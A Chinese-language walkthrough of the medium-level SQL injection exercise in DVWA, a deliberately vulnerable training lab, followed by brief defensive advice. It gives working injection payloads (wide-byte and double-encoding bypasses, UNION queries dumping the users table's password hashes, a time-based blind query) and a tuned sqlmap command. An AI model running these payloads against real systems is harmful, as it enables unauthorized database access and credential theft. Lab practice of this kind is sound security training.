1. DVWA中等难度SQL注入实战解析
三年前我第一次接触DVWA的SQL注入模块时,在中等难度关卡卡了整整两天。这个看似简单的关卡实际上暗藏玄机——它不仅考验基础的注入技巧,更要求对防御机制的深入理解。今天我就来详细拆解这个经典靶场的中等难度SQL注入,分享那些官方文档不会告诉你的实战技巧。
2. 环境准备与靶场配置
2.1 DVWA环境搭建要点
在本地搭建DVWA时,我强烈推荐使用XAMPP集成环境。最新版的DVWA需要PHP 5.4+和MySQL 5.0+支持,安装时要注意:
- 下载DVWA压缩包解压到htdocs目录
- 修改config/config.inc.php中的数据库密码
- 访问setup.php完成初始化
- 特别提醒:务必在DVWA Security设置中将难度调为"Medium"
注意:不要使用root账户连接数据库,建议新建专用账户。我在测试时曾因权限过高导致注入结果异常。
2.2 关键防御机制分析
中等难度的核心变化是服务端添加了mysql_real_escape_string()函数过滤。这个PHP函数会对以下字符进行转义:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL字符
但经过实测发现,它存在几个关键盲点:
- 对数字型注入无效
- 不处理宽字符集情况
- 二次编码可能绕过
3. 注入技术深度剖析
3.1 突破字符转义的三种方法
3.1.1 数字型注入技巧
当发现参数为数字ID时(如?id=1),直接使用算术表达式:
sql复制1 AND 1=1 # 正常返回
1 AND 1=2 # 空返回
通过布尔判断即可获取数据,完全绕过字符串过滤。
3.1.2 宽字符注入实战
利用GBK等宽字符集的特性,构造特殊payload:
code复制%df%27 # 会被转义为%df%5c%27,但%df%5c构成合法宽字符
在注入点后接union语句即可获取数据。
3.1.3 二次URL编码绕过
对关键字符双重编码:
code复制%2527 # 解码后变为%27(单引号)
服务端只做一次解码,最终仍能保留特殊字符。
3.2 自动化注入工具优化
虽然可以手工注入,但使用sqlmap效率更高。需要特别配置:
bash复制sqlmap -u "http://target/vulnerabilities/sqli/?id=1" --cookie="security=medium; PHPSESSID=xxx" --tamper=chardoubleencode --technique=B
关键参数说明:
--tamper=chardoubleencode:自动处理双重编码--technique=B:强制使用布尔盲注- 必须携带有效会话cookie
4. 完整攻击链演示
4.1 信息收集阶段
- 判断注入类型:
code复制?id=1' and '1'='1 # 报错 → 字符型 ?id=1 and 1=1 # 正常 → 数字型 - 确定字段数:
code复制?id=1 order by 2-- # 成功 ?id=1 order by 3-- # 失败 → 2个字段
4.2 数据提取过程
使用联合查询获取数据库信息:
sql复制?id=-1 union select 1,concat_ws(0x3a,database(),user(),version())--
关键技巧:
- 使用-1确保union查询结果展示
- concat_ws合并多字段信息
- 0x3a是冒号的16进制,避免引号过滤
4.3 表数据导出实战
获取users表数据的完整payload:
sql复制?id=-1 union select null,concat_ws(0x7c,user,password) from users--
输出格式为:admin|5f4dcc3b5aa765d61d8327deb882cf99
5. 防御方案与进阶思考
5.1 开发防护建议
- 参数化查询是根本解决方案
- 类型强制转换(如intval())
- 设置统一字符集(推荐UTF-8)
- 最小权限原则配置数据库账户
5.2 渗透测试技巧
- 遇到过滤时尝试不同编码方式
- 注意观察报错信息的细节差异
- 时间盲注作为最后手段:
sql复制?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))>100,sleep(3),0)
6. 常见问题排查记录
-
payload执行但无返回
检查union查询的字段数是否匹配,使用null占位更稳妥 -
特殊字符被截断
尝试用hex编码替代字符串,如:sql复制select table_name from information_schema.tables where table_schema=0x64767761 -
工具返回空白结果
确认cookie有效性,DVWA中等难度需要维持会话状态
这个靶场最精妙之处在于它模拟了真实环境中不完善的防御措施。我建议在掌握基础注入后,可以尝试修改DVWA源码,添加更多过滤规则来测试绕过能力。比如尝试实现一个自定义的过滤函数,然后挑战如何突破它——这种对抗练习能极大提升实战水平。